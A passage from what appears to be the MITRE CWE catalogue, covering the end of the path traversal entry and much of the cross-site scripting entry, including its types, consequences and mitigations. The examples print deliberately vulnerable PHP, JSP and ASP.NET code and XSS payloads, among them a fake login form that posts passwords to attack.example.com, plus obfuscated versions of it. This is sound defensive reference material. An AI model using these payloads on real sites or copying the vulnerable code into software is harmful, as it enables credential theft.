  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

+ Functional Areas
  • File Processing
+ Affected Resources
  • File or Directory
+ Memberships
This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).635Weaknesses Originally Used by NVD from 2008 to 2016
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.715OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.723OWASP Top Ten 2004 Category A2 - Broken Access Control
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.743CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8022010 Top 25 - Risky Resource Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.813OWASP Top Ten 2010 Category A4 - Insecure Direct Object References
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8652011 Top 25 - Risky Resource Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.877CERT C++ Secure Coding Section 09 - Input Output (FIO)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.932OWASP Top Ten 2013 Category A4 - Insecure Direct Object References
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.981SFP Secondary Cluster: Path Traversal
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1031OWASP Top Ten 2017 Category A5 - Broken Access Control
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1131CISQ Quality Measures - Security
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1200Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1308CISQ Quality Measures - Security
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1350Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
+ Notes

Relationship

Pathname equivalence can be regarded as a type of canonicalization error.

Relationship

Some pathname equivalence issues are not directly related to directory traversal, rather are used to bypass security-relevant checks for whether a file/directory can be accessed by the attacker (e.g. a trailing "/" on a filename could bypass access rules that don't expect a trailing /, causing a server to provide the file when it normally would not).

Research Gap

Many variants of path traversal attacks are probably under-studied with respect to root cause. CWE-790 and CWE-182 begin to cover part of this gap.

Research Gap

Incomplete diagnosis or reporting of vulnerabilities can make it difficult to know which variant is affected. For example, a researcher might say that "..\" is vulnerable, but not test "../" which may also be vulnerable.

Any combination of directory separators ("/", "\", etc.) and numbers of "." (e.g. "....") can produce unique variants; for example, the "//../" variant is not listed (CVE-2004-0325). See this entry's children and lower-level descendants.

Terminology

Like other weaknesses, terminology is often based on the types of manipulations used, instead of the underlying weaknesses. Some people use "directory traversal" only to refer to the injection of ".." and equivalent sequences whose specific meaning is to traverse directories.

Other variants like "absolute pathname" and "drive letter" have the *effect* of directory traversal, but some people may not call it such, since it doesn't involve ".." or equivalent.

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERPath Traversal
OWASP Top Ten 2007A4CWE More SpecificInsecure Direct Object Reference
OWASP Top Ten 2004A2CWE More SpecificBroken Access Control
CERT C Secure CodingFIO02-CCanonicalize path names originating from untrusted sources
SEI CERT Perl Coding StandardIDS00-PLExactCanonicalize path names before validating them
WASC33Path Traversal
Software Fault PatternsSFP16Path Traversal
OMG ASCSMASCSM-CWE-22
+ References
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 11, "Directory Traversal and Using Parent Paths (..)" Page 370. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-45] OWASP. "OWASP Enterprise Security API (ESAPI) Project". <http://www.owasp.org/index.php/ESAPI>.
[REF-185] OWASP. "Testing for Path Traversal (OWASP-AZ-001)". <http://www.owasp.org/index.php/Testing_for_Path_Traversal_(OWASP-AZ-001)>.
[REF-186] Johannes Ullrich. "Top 25 Series - Rank 7 - Path Traversal". SANS Software Security Institute. 2010-03-09. <http://blogs.sans.org/appsecstreetfighter/2010/03/09/top-25-series-rank-7-path-traversal/>.
[REF-76] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. <https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html>.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 9, "Filenames and Paths", Page 503. 1st Edition. Addison Wesley. 2006.
[REF-962] Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". ASCSM-CWE-22. 2016-01. <http://www.omg.org/spec/ASCSM/1.0/>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-08-15Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITRE
updated Alternate_Terms, Relationships, Other_Notes, Relationship_Notes, Relevant_Properties, Taxonomy_Mappings, Weakness_Ordinalities
2008-10-14CWE Content TeamMITRE
updated Description
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-07-27CWE Content TeamMITRE
updated Potential_Mitigations
2010-02-16CWE Content TeamMITRE
updated Alternate_Terms, Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Likelihood_of_Exploit, Name, Observed_Examples, Other_Notes, Potential_Mitigations, References, Related_Attack_Patterns, Relationship_Notes, Relationships, Research_Gaps, Taxonomy_Mappings, Terminology_Notes, Time_of_Introduction, Weakness_Ordinalities
2010-06-21CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Potential_Mitigations, References, Relationships
2010-09-27CWE Content TeamMITRE
updated Potential_Mitigations
2010-12-13CWE Content TeamMITRE
updated Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-27CWE Content TeamMITRE
updated Relationships
2011-09-13CWE Content TeamMITRE
updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-02-21CWE Content TeamMITRE
updated Observed_Examples
2013-07-17CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2014-06-23CWE Content TeamMITRE
updated Other_Notes, Research_Gaps
2014-07-30CWE Content TeamMITRE
updated Detection_Factors, Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Related_Attack_Patterns
2017-05-03CWE Content TeamMITRE
updated Demonstrative_Examples
2017-11-08CWE Content TeamMITRE
updated Affected_Resources, Causal_Nature, Likelihood_of_Exploit, References, Relationships, Relevant_Properties, Taxonomy_Mappings
2018-03-27CWE Content TeamMITRE
updated References, Relationships
2019-01-03CWE Content TeamMITRE
updated References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships, Type
2019-09-19CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations
2020-08-20CWE Content TeamMITRE
updated Relationships
+ Previous Entry Names
Change DatePrevious Entry Name
2010-02-16Path Traversal

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Weakness ID: 79
Abstraction: Base
Structure: Simple
Status: Stable
Presentation Filter:
+ Description
The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
+ Extended Description

Cross-site scripting (XSS) vulnerabilities occur when:

  • 1. Untrusted data enters a web application, typically from a web request.
  • 2. The web application dynamically generates a web page that contains this untrusted data.
  • 3. During page generation, the application does not prevent the data from containing content that is executable by a web browser, such as JavaScript, HTML tags, HTML attributes, mouse events, Flash, ActiveX, etc.
  • 4. A victim visits the generated web page through a web browser, which contains malicious script that was injected using the untrusted data.
  • 5. Since the script comes from a web page that was sent by the web server, the victim's web browser executes the malicious script in the context of the web server's domain.
  • 6. This effectively violates the intention of the web browser's same-origin policy, which states that scripts in one domain should not be able to access resources or run code in a different domain.

There are three main kinds of XSS:

  • Type 1: Reflected XSS (or Non-Persistent) - The server reads data directly from the HTTP request and reflects it back in the HTTP response. Reflected XSS exploits occur when an attacker causes a victim to supply dangerous content to a vulnerable web application, which is then reflected back to the victim and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or e-mailed directly to the victim. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces a victim to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the victim, the content is executed by the victim's browser.
  • Type 2: Stored XSS (or Persistent) - The application stores dangerous data in a database, message forum, visitor log, or other trusted data store. At a later time, the dangerous data is subsequently read back into the application and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user. For example, the attacker might inject XSS into a log message, which might not be handled properly when an administrator views the logs.
  • Type 0: DOM-Based XSS - In DOM-based XSS, the client performs the injection of XSS into the page; in the other types, the server performs the injection. DOM-based XSS generally involves server-controlled, trusted script that is sent to the client, such as Javascript that performs sanity checks on a form before the user submits it. If the server-supplied script processes user-supplied data and then injects it back into the web page (such as with dynamic HTML), then DOM-based XSS is possible.

Once the malicious script is injected, the attacker can perform a variety of malicious activities. The attacker could transfer private information, such as cookies that may include session information, from the victim's machine to the attacker. The attacker could send malicious requests to a web site on behalf of the victim, which could be especially dangerous to the site if the victim has administrator privileges to manage that site. Phishing attacks could be used to emulate trusted web sites and trick the victim into entering a password, allowing the attacker to compromise the victim's account on that web site. Finally, the script could exploit a vulnerability in the web browser itself possibly taking over the victim's machine, sometimes referred to as "drive-by hacking."

In many cases, the attack can be launched without the victim even being aware of it. Even with careful users, attackers frequently use a variety of methods to encode the malicious portion of the attack, such as URL encoding or Unicode, so the request looks less suspicious.

+ Alternate Terms
XSS:
"XSS" is a common abbreviation for Cross-Site Scripting.
HTML Injection:
"HTML injection" is used as a synonym of stored (Type 2) XSS.
CSS:
In the early years after initial discovery of XSS, "CSS" was a commonly-used acronym. However, this would cause confusion with "Cascading Style Sheets," so usage of this acronym has declined significantly.
+ Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.74Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.80Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.81Improper Neutralization of Script in an Error Message Web Page
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.83Improper Neutralization of Script in Attributes in a Web Page
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.84Improper Neutralization of Encoded URI Schemes in a Web Page
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.85Doubled Character XSS Manipulations
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.86Improper Neutralization of Invalid Characters in Identifiers in Web Pages
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.87Improper Neutralization of Alternate XSS Syntax
ParentOfChainChain - a Compound Element that is a sequence of two or more separate weaknesses that can be closely linked together within software. One weakness, X, can directly create the conditions that are necessary to cause another weakness, Y, to enter a vulnerable condition. When this happens, CWE refers to X as "primary" to Y, and Y is "resultant" from X. Chains can involve more than two weaknesses, and in some cases, they might have a tree-like structure.692Incomplete Denylist to Cross-Site Scripting
PeerOfCompositeComposite - a Compound Element that consists of two or more distinct weaknesses, in which all weaknesses must be present at the same time in order for a potential vulnerability to arise. Removing any of the weaknesses eliminates or sharply reduces the risk. One weakness, X, can be "broken down" into component weaknesses Y and Z. There can be cases in which one weakness might not be essential to a composite, but changes the nature of the composite when it becomes a vulnerability.352Cross-Site Request Forgery (CSRF)
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.494Download of Code Without Integrity Check
CanFollowVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.113Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.184Incomplete List of Disallowed Inputs
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.494Download of Code Without Integrity Check
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.137Data Neutralization Issues
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.74Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1019Validate Inputs
+ Background Details
Same Origin Policy

The same origin policy states that browsers should limit the resources accessible to scripts running on a given web site, or "origin", to the resources associated with that web site on the client-side, and not the client-side resources of any other sites or "origins". The goal is to prevent one site from being able to modify or read the contents of an unrelated site. Since the World Wide Web involves interactions between many sites, this policy is important for browsers to enforce.

Domain

The Domain of a website when referring to XSS is roughly equivalent to the resources associated with that website on the client-side of the connection. That is, the domain can be thought of as all resources the browser is storing for the user's interactions with this particular site.

+ Modes Of Introduction

The different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.

PhaseNote
Architecture and Design
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
The listings below show possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Language-Independent (Undetermined Prevalence)

Technologies

Class: Web Based (Often Prevalent)

+ Common Consequences

The table below specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

ScopeImpactLikelihood
Access Control
Confidentiality

Technical Impact: Bypass Protection Mechanism; Read Application Data

The most common attack performed with cross-site scripting involves the disclosure of information stored in user cookies. Typically, a malicious user will craft a client-side script, which -- when parsed by a web browser -- performs some activity (such as sending all site cookies to a given E-mail address). This script will be loaded and run by each user visiting the web site. Since the site requesting to run the script has access to the cookies in question, the malicious script does also.
Integrity
Confidentiality
Availability

Technical Impact: Execute Unauthorized Code or Commands

In some circumstances it may be possible to run arbitrary code on a victim's computer when cross-site scripting is combined with other flaws.
Confidentiality
Integrity
Availability
Access Control

Technical Impact: Execute Unauthorized Code or Commands; Bypass Protection Mechanism; Read Application Data

The consequence of an XSS attack is the same regardless of whether it is stored or reflected. The difference is in how the payload arrives at the server. XSS can cause a variety of problems for the end user that range in severity from an annoyance to complete account compromise. Some cross-site scripting vulnerabilities can be exploited to manipulate or steal cookies, create requests that can be mistaken for those of a valid user, compromise confidential information, or execute malicious code on the end user systems for a variety of nefarious purposes. Other damaging attacks include the disclosure of end user files, installation of Trojan horse programs, redirecting the user to some other page or site, running "Active X" controls (under Microsoft Internet Explorer) from sites that a user perceives as trustworthy, and modifying presentation of content.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

This code displays a welcome message on a web page based on the HTTP GET username parameter. This example covers a Reflected XSS (Type 1) scenario.

(bad code)
Example Language: PHP 
$username = $_GET['username'];
echo '<div class="header"> Welcome, ' . $username . '</div>';

Because the parameter can be arbitrary, the url of the page could be modified so $username contains scripting syntax, such as

(attack code)
 
http://trustedSite.example.com/welcome.php?username=<Script Language="Javascript">alert("You've been attacked!");</Script>

This results in a harmless alert dialogue popping up. Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use e-mail or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers.

More realistically, the attacker can embed a fake login box on the page, tricking the user into sending the user's password to the attacker:

(attack code)
 
http://trustedSite.example.com/welcome.php?username=<div id="stealPassword">Please Login:<form name="input" action="http://attack.example.com/stealPassword.php" method="post">Username: <input type="text" name="username" /><br/>Password: <input type="password" name="password" /><br/><input type="submit" value="Login" /></form></div>

If a user clicks on this link then Welcome.php will generate the following HTML and send it to the user's browser:

(result)
 
<div class="header"> Welcome, <div id="stealPassword"> Please Login:

<form name="input" action="attack.example.com/stealPassword.php" method="post">
Username: <input type="text" name="username" /><br/>
Password: <input type="password" name="password" /><br/>
<input type="submit" value="Login" />
</form>

</div></div>

The trustworthy domain of the URL may falsely assure the user that it is OK to follow the link. However, an astute user may notice the suspicious text appended to the URL. An attacker may further obfuscate the URL (the following example links are broken into multiple lines for readability):

(attack code)
 
trustedSite.example.com/welcome.php?username=%3Cdiv+id%3D%22
stealPassword%22%3EPlease+Login%3A%3Cform+name%3D%22input
%22+action%3D%22http%3A%2F%2Fattack.example.com%2FstealPassword.php
%22+method%3D%22post%22%3EUsername%3A+%3Cinput+type%3D%22text
%22+name%3D%22username%22+%2F%3E%3Cbr%2F%3EPassword%3A
+%3Cinput+type%3D%22password%22+name%3D%22password%22
+%2F%3E%3Cinput+type%3D%22submit%22+value%3D%22Login%22
+%2F%3E%3C%2Fform%3E%3C%2Fdiv%3E%0D%0A

The same attack string could also be obfuscated as:

(attack code)
 
trustedSite.example.com/welcome.php?username=<script+type="text/javascript">
document.write('\u003C\u0064\u0069\u0076\u0020\u0069\u0064\u003D\u0022\u0073
\u0074\u0065\u0061\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064
\u0022\u003E\u0050\u006C\u0065\u0061\u0073\u0065\u0020\u004C\u006F\u0067
\u0069\u006E\u003A\u003C\u0066\u006F\u0072\u006D\u0020\u006E\u0061\u006D
\u0065\u003D\u0022\u0069\u006E\u0070\u0075\u0074\u0022\u0020\u0061\u0063
\u0074\u0069\u006F\u006E\u003D\u0022\u0068\u0074\u0074\u0070\u003A\u002F
\u002F\u0061\u0074\u0074\u0061\u0063\u006B\u002E\u0065\u0078\u0061\u006D
\u0070\u006C\u0065\u002E\u0063\u006F\u006D\u002F\u0073\u0074\u0065\u0061
\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u002E\u0070\u0068
\u0070\u0022\u0020\u006D\u0065\u0074\u0068\u006F\u0064\u003D\u0022\u0070
\u006F\u0073\u0074\u0022\u003E\u0055\u0073\u0065\u0072\u006E\u0061\u006D
\u0065\u003A\u0020\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079
\u0070\u0065\u003D\u0022\u0074\u0065\u0078\u0074\u0022\u0020\u006E\u0061
\u006D\u0065\u003D\u0022\u0075\u0073\u0065\u0072\u006E\u0061\u006D\u0065
\u0022\u0020\u002F\u003E\u003C\u0062\u0072\u002F\u003E\u0050\u0061\u0073
\u0073\u0077\u006F\u0072\u0064\u003A\u0020\u003C\u0069\u006E\u0070\u0075
\u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0070\u0061\u0073\u0073
\u0077\u006F\u0072\u0064\u0022\u0020\u006E\u0061\u006D\u0065\u003D\u0022
\u0070\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u0022\u0020\u002F\u003E
\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079\u0070\u0065\u003D
\u0022\u0073\u0075\u0062\u006D\u0069\u0074\u0022\u0020\u0076\u0061\u006C
\u0075\u0065\u003D\u0022\u004C\u006F\u0067\u0069\u006E\u0022\u0020\u002F
\u003E\u003C\u002F\u0066\u006F\u0072\u006D\u003E\u003C\u002F\u0064\u0069\u0076\u003E\u000D');</script>

Both of these attack links will result in the fake login box appearing on the page, and users are more likely to ignore indecipherable text at the end of URLs.

Example 2

This example also displays a Reflected XSS (Type 1) scenario.

The following JSP code segment reads an employee ID, eid, from an HTTP request and displays it to the user.

(bad code)
Example Language: JSP 
<% String eid = request.getParameter("eid"); %>
...
Employee ID: <%= eid %>

The following ASP.NET code segment reads an employee ID number from an HTTP request and displays it to the user.

(bad code)
Example Language: ASP.NET 
<%
protected System.Web.UI.WebControls.TextBox Login;
protected System.Web.UI.WebControls.Label EmployeeID;
...
EmployeeID.Text = Login.Text;
%>

<p><asp:label id="EmployeeID" runat="server" /></p>

The code in this example operates correctly if the Employee ID variable contains only standard alphanumeric text. If it has a value that includes meta-characters or source code, then the code will be executed by the web browser as it displays the HTTP response.

Example 3

This example covers a Stored XSS (Type 2) scenario.

The following JSP code segment queries a database for an employee with a given ID and prints the corresponding employee's name.

(bad code)
Example Language: JSP 
<%Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
if (rs != null) {
rs.next();
String name = rs.getString("name");
}%>

Employee Name: <%= name %>

The following ASP.NET code segment queries a database for an employee with a given employee ID and prints the name corresponding with the ID.

(bad code)
Example Language: ASP.NET 
<%
protected System.Web.UI.WebControls.Label EmployeeName;
...
string query = "select * from emp where id=" + eid;
sda = new SqlDataAdapter(query, conn);
sda.Fill(dt);
string name = dt.Rows[0]["Name"];
...
EmployeeName.Text = name;%>
<p><asp:label id="EmployeeName" runat="server" /></p>

This code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker can execute malicious commands in the user's web browser.

Example 4

The following example consists of two separate pages in a web application, one devoted to creating user accounts and another devoted to listing active users currently logged in. It also displays a Stored XSS (Type 2) scenario.

CreateUser.php

(bad code)
Example Language: PHP 
$username = mysql_real_escape_string($username);
$fullName = mysql_real_escape_string($fullName);
$query = sprintf('Insert Into users (username,password) Values ("%s","%s","%s")', $username, crypt($password),$fullName) ;
mysql_query($query);
/.../

The code is careful to avoid a SQL injection attack (CWE-89) but does not stop valid HTML from being stored in the database. This can be exploited later when ListUsers.php retrieves the information:

ListUsers.php

(bad code)
Example Language: PHP 
$query = 'Select * From users Where loggedIn=true';
$results = mysql_query($query);

if (!$results) {
exit;
}

//Print list of users to page
echo '<div id="userlist">Currently Active Users:';
while ($row = mysql_fetch_assoc($results)) {
echo '<div class="userNames">'.$row['fullname'].'</div>';
}
echo '</div>';

The attacker can set their name to be arbitrary HTML, which will then be displayed to all visitors of the Active Users page. This HTML can, for example, be a password stealing Login message.

Example 5

Consider an application that provides a simplistic message board that saves messages in HTML format and appends them to a file. When a new user arrives in the room, it makes an announcement:

(bad code)
Example Language: PHP 
$name = $_COOKIE["myname"];
$announceStr = "$name just logged in.";

//save HTML-formatted message to file; implementation details are irrelevant for this example.
saveMessage($announceStr);

An attacker may be able to perform an HTML injection (Type 2 XSS) attack by setting a cookie to a value like:

(attack code)
 
<script>document.alert('Hacked');</script>

The raw contents of the message file would look like:

(result)
 
<script>document.alert('Hacked');</script> has logged in.

For each person who visits the message page, their browser would execute the script, generating a pop-up window that says "Hacked". More malicious attacks are possible; see the rest of this entry.

+ Observed Examples
ReferenceDescription
Admin GUI allows XSS through cookie.
Web stats program allows XSS through crafted HTTP header.
Web log analysis product allows XSS through crafted HTTP Referer header.
Chain: protection mechanism failure allows XSS
Chain: incomplete denylist (CWE-184) only checks "javascript:" tag, allowing XSS (CWE-79) using other tags
Chain: incomplete denylist (CWE-184) only removes SCRIPT tags, enabling XSS (CWE-79)
Reflected XSS using the PATH_INFO in a URL
Reflected XSS not properly handled when generating an error message
Reflected XSS sent through email message.
Stored XSS in a security product.
Stored XSS using a wiki page.
Stored XSS in a guestbook application.
Stored XSS in a guestbook application using a javascript: URI in a bbcode img tag.
Chain: library file is not protected against a direct request (CWE-425), leading to reflected XSS (CWE-79).
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.

Phases: Implementation; Architecture and Design

Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.

For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters.

Parts of the same output document may require different encodings, which will vary depending on whether the output is in the:

  • HTML body
  • Element attributes (such as src="XYZ")
  • URIs
  • JavaScript sections
  • Cascading Style Sheets and style property

etc. Note that HTML Entity Encoding is only appropriate for the HTML body.

Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.

Phases: Architecture and Design; Implementation

Strategy: Attack Surface Reduction

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.

Effectiveness: Limited

Note: This technique has limited effectiveness, but can be helpful when it is possible to store client state and sensitive information on the server side instead of in cookies, headers, hidden form fields, etc.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Architecture and Design

Strategy: Parameterization

If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.

Phase: Implementation

Strategy: Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

Phase: Implementation

With Struts, write all data from form beans with the bean's filter attribute set to true.

Phase: Implementation

Strategy: Attack Surface Reduction

